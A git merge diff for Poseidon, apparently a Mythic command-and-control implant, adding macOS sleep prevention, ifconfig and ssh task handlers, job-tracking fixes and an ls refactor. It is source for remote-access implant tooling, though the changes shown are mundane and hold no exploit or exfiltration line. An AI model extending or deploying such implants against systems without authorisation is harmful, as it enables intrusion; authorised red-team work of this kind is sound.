Merge branch 'master' into master

Payload_Type/poseidon/.docker/Dockerfile

@@ -6,4 +6,6 @@ COPY [".", "."]
 
 RUN make build
 
+RUN apt-get install g++-x86-64-linux-gnu libc6-dev-amd64-cross -y
+
 CMD make run

Payload_Type/poseidon/Dockerfile

@@ -6,4 +6,6 @@ COPY [".", "."]
 
 RUN make build
 
+RUN apt-get install g++-x86-64-linux-gnu libc6-dev-amd64-cross -y
+
 CMD make run

Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD

@@ -4,6 +4,21 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
 and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
 
+## 2.1.6 - 2024-09-06
+
+### Changed
+
+- Updated jobs/jobkill to track properly
+- Updated ssh and sshauth to kill connections 
+
+## 2.1.3 - 2024-09-05
+
+### Changed
+
+- Added ifconfig command
+- Added caffeinate command for macOS
+- Added ssh interactive command similar to pty, but for ssh connections
+
 ## 2.1.2 - 2024-08-05
 
 ### Changed

Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go

@@ -0,0 +1,40 @@
+package caffeinate
+
+import (
+	// Standard
+	"encoding/json"
+
+	// Poseidon
+
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
+)
+
+type CaffeinateRun interface {
+	Success() bool
+	Result() string
+}
+
+type Arguments struct {
+	Enable bool `json:"enable"`
+}
+
+func Run(task structs.Task) {
+	msg := task.NewResponse()
+	args := Arguments{}
+	err := json.Unmarshal([]byte(task.Params), &args)
+	if err != nil {
+		msg.SetError(err.Error())
+		task.Job.SendResponses <- msg
+		return
+	}
+	r, err := runCommand(args.Enable)
+	if err != nil {
+		msg.SetError(err.Error())
+		task.Job.SendResponses <- msg
+		return
+	}
+	msg.UserOutput = r.Result()
+	msg.Completed = true
+	task.Job.SendResponses <- msg
+	return
+}

Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go

@@ -0,0 +1,38 @@
+//go:build darwin
+// +build darwin
+
+package caffeinate
+
+/*
+#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new
+#cgo LDFLAGS: -framework Foundation -framework IOKit
+#include "caffeinate_wrapper_darwin.h"
+*/
+import "C"
+
+type CaffeinateRunDarwin struct {
+	Successful bool
+	Results    string
+}
+
+func (j *CaffeinateRunDarwin) Success() bool {
+	return j.Successful
+}
+
+func (j *CaffeinateRunDarwin) Result() string {
+	return j.Results
+}
+
+func runCommand(enable bool) (CaffeinateRunDarwin, error) {
+	enableInt := 0
+	if enable {
+		enableInt = 1
+	}
+	cEnable := C.int(enableInt)
+	cresult := C.caffeinate(cEnable)
+	result := C.GoString(cresult)
+	r := CaffeinateRunDarwin{}
+	r.Successful = true
+	r.Results = result
+	return r, nil
+}

Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go

@@ -0,0 +1,28 @@
+//go:build linux
+// +build linux
+
+package caffeinate
+
+import (
+	"errors"
+)
+
+type CaffeinateRunLinux struct {
+	Successful   bool
+	Resultstring string
+}
+
+func (j *CaffeinateRunLinux) Success() bool {
+	return j.Successful
+}
+
+func (j *CaffeinateRunLinux) Result() string {
+	return j.Resultstring
+}
+
+func runCommand(enable bool) (CaffeinateRunLinux, error) {
+	n := CaffeinateRunLinux{}
+	n.Resultstring = ""
+	n.Successful = false
+	return n, errors.New("Not implemented")
+}

Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h

@@ -0,0 +1,7 @@
+
+#ifndef main_h
+#define main_h
+
+extern char* caffeinate(int enable);
+
+#endif /* main_h */

Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m

@@ -0,0 +1,24 @@
+#import <Foundation/Foundation.h>
+#import <IOKit/pwr_mgt/IOPMLib.h>
+#include "caffeinate_wrapper_darwin.h"
+
+char* caffeinate(int enable) {
+    @try {
+            IOPMAssertionLevel newLevel = kIOPMAssertionLevelOn;
+            if(enable == 0){
+                newLevel = kIOPMAssertionLevelOff;
+            }
+            CFStringRef assertionName = CFStringCreateWithCString(NULL, "caffeinate", kCFStringEncodingUTF8);
+            IOPMAssertionID assertionID;
+            IOReturn status = IOPMAssertionCreateWithName(kIOPMAssertionTypePreventSystemSleep, newLevel, assertionName, &assertionID);
+            if(status == kIOReturnSuccess){
+                return "Successfully adjusted caffeinate status";
+            } else {
+                NSString* fmtString = [NSString stringWithFormat:@"Failed to set status: %d", status];
+                return [fmtString UTF8String];
+            }
+    } @catch (NSException *exception) {
+        return [[exception reason] UTF8String];
+    }
+
+}

Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go

@@ -0,0 +1,21 @@
+package ifconfig
+
+import (
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/functions"
+
+	"strings"
+
+	// Poseidon
+
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
+)
+
+// Run - Function that executes
+func Run(task structs.Task) {
+	msg := task.NewResponse()
+	ips := functions.GetCurrentIPAddress()
+	msg.UserOutput = strings.Join(ips, "\n")
+	msg.Completed = true
+	task.Job.SendResponses <- msg
+	return
+}

Payload_Type/poseidon/poseidon/agent_code/jsimport_call/jxa_wrapper_darwin.m

@@ -16,7 +16,7 @@
                 NSString *result = runError[@"OSAScriptErrorMessageKey"];
                 return [result UTF8String];
             }
-            NSString* fmtString = [NSString stringWithFormat:@"%@", res];
+            NSString* fmtString = [NSString stringWithFormat:@"%@", res.stringValue];
             char* output = [fmtString UTF8String];
             return output;
     } @catch (NSException *exception) {

Payload_Type/poseidon/poseidon/agent_code/jxa/jxa_wrapper_darwin.m

@@ -16,7 +16,7 @@
                 NSString *result = runError[@"OSAScriptErrorMessageKey"];
                 return [result UTF8String];
             }
-            NSString* fmtString = [NSString stringWithFormat:@"%@", res];
+            NSString* fmtString = [NSString stringWithFormat:@"%@", res.stringValue];
             char* output = [fmtString UTF8String];
             return output;
     } @catch (NSException *exception) {

Payload_Type/poseidon/poseidon/agent_code/ls/ls.go

@@ -3,7 +3,6 @@ package ls
 import (
 	// Standard
 	"encoding/json"
-	"io/ioutil"
 	"os"
 	"os/user"
 	"path/filepath"
@@ -41,7 +40,12 @@ func GetPermission(finfo os.FileInfo) structs.FilePermission {
 func Run(task structs.Task) {
 	msg := task.NewResponse()
 	args := structs.FileBrowserArguments{}
-	json.Unmarshal([]byte(task.Params), &args)
+	err := json.Unmarshal([]byte(task.Params), &args)
+	if err != nil {
+		msg.SetError(err.Error())
+		task.Job.SendResponses <- msg
+		return
+	}
 	var e structs.FileBrowser
 	fixedPath := args.Path
 	if strings.HasPrefix(fixedPath, "~/") {
@@ -51,9 +55,7 @@ func Run(task structs.Task) {
 	abspath, _ := filepath.Abs(fixedPath)
 	dirInfo, err := os.Stat(abspath)
 	if err != nil {
-		msg.UserOutput = err.Error()
-		msg.Completed = true
-		msg.Status = "error"
+		msg.SetError(err.Error())
 		task.Job.SendResponses <- msg
 		return
 	}
@@ -76,11 +78,9 @@ func Run(task structs.Task) {
 	e.Success = true
 	e.UpdateDeleted = true
 	if dirInfo.IsDir() {
-		files, err := ioutil.ReadDir(abspath)
+		files, err := os.ReadDir(abspath)
 		if err != nil {
-			msg.UserOutput = err.Error()
-			msg.Completed = true
-			msg.Status = "error"
+			msg.SetError(err.Error())
 			e.Success = false
 			msg.FileBrowser = &e
 			task.Job.SendResponses <- msg
@@ -90,11 +90,18 @@ func Run(task structs.Task) {
 		fileEntries := make([]structs.FileData, len(files))
 		for i := 0; i < len(files); i++ {
 			fileEntries[i].IsFile = !files[i].IsDir()
-			fileEntries[i].Permissions = GetPermission(files[i])
+			fileInfo, err := files[i].Info()
+			if err != nil {
+				fileEntries[i].Permissions = structs.FilePermission{}
+				fileEntries[i].FileSize = -1
+				fileEntries[i].LastModified = 0
+			} else {
+				fileEntries[i].Permissions = GetPermission(fileInfo)
+				fileEntries[i].FileSize = fileInfo.Size()
+				fileEntries[i].LastModified = fileInfo.ModTime().Unix() * 1000
+			}
 			fileEntries[i].Name = files[i].Name()
 			fileEntries[i].FullName = filepath.Join(abspath, files[i].Name())
-			fileEntries[i].FileSize = files[i].Size()
-			fileEntries[i].LastModified = files[i].ModTime().Unix() * 1000
 			at, err := atime.Stat(abspath)
 			if err != nil {
 				fileEntries[i].LastAccess = 0

Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/http.go

@@ -86,6 +86,10 @@ func init() {
 	} else if initialConfig.CallbackPort == 80 && strings.Contains(initialConfig.CallbackHost, "http://") {
 		final_url = initialConfig.CallbackHost
 	} else {
+		if len(initialConfig.CallbackHost) < 9 {
+			utils.PrintDebug(fmt.Sprintf("callbackhost length is wrong, exiting: %s\n", initialConfig.CallbackHost))
+			os.Exit(1)
+		}
 		last_slash = strings.Index(initialConfig.CallbackHost[8:], "/")
 		if last_slash == -1 {
 			//there is no 3rd slash

Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go

@@ -1,6 +1,7 @@
 package tasks
 
 import (
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/caffeinate"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cat"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cd"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/clipboard"
@@ -14,6 +15,7 @@ import (
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getenv"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getuser"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/head"
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ifconfig"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport_call"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jxa"
@@ -47,6 +49,7 @@ import (
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/shell"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sleep"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/socks"
+	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ssh"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sshauth"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sudo"
 	"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/tail"
@@ -190,8 +193,14 @@ func listenForNewTask() {
 			go shell.RunConfig(task)
 		case "config":
 			go config.Run(task)
-    case "lsopen":
-      go lsopen.Run(task)
+		case "ssh":
+			go ssh.Run(task)
+		case "ifconfig":
+			go ifconfig.Run(task)
+		case "caffeinate":
+			go caffeinate.Run(task)
+		case "lsopen":
+			go lsopen.Run(task)
 		default:
 			// No tasks, do nothing
 			break

Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/taskManagement.go

@@ -20,7 +20,7 @@ func listenForRemoveRunningTask() {
 
 // getJobListing is the 'jobs' command and prints the `ToStub` call on each task
 func getJobListing(task structs.Task) {
-	msg := structs.Response{}
+	msg := task.NewResponse()
 	msg.TaskID = task.TaskID
 	msg.Completed = true
 	// For graceful error handling server-side when zero jobs are processing.
@@ -30,24 +30,29 @@ func getJobListing(task structs.Task) {
 		var jobList []structs.TaskStub
 		runningTaskMutex.Lock()
 		for _, x := range runningTasks {
-			jobList = append(jobList, x.ToStub())
+			if x.Command != "jobs" {
+				jobList = append(jobList, x.ToStub())
+			}
 		}
 		runningTaskMutex.Unlock()
-		jsonSlices, err := json.MarshalIndent(jobList, "", "	")
-		if err != nil {
-			msg.UserOutput = err.Error()
-			msg.Status = "error"
+		if len(jobList) > 0 {
+			jsonSlices, err := json.MarshalIndent(jobList, "", "	")
+			if err != nil {
+				msg.UserOutput = err.Error()
+				msg.Status = "error"
+			} else {
+				msg.UserOutput = string(jsonSlices)
+			}
 		} else {
-			msg.UserOutput = string(jsonSlices)
+			msg.UserOutput = "0 jobs"
 		}
-
 	}
 	task.Job.SendResponses <- msg
 }
 
 // killJob is the 'jobkill' command which sets a Stop flag for the associated task to check
 func killJob(task structs.Task) {
-	msg := structs.Response{}
+	msg := task.NewResponse()
 	msg.TaskID = task.TaskID
 
 	foundTask := false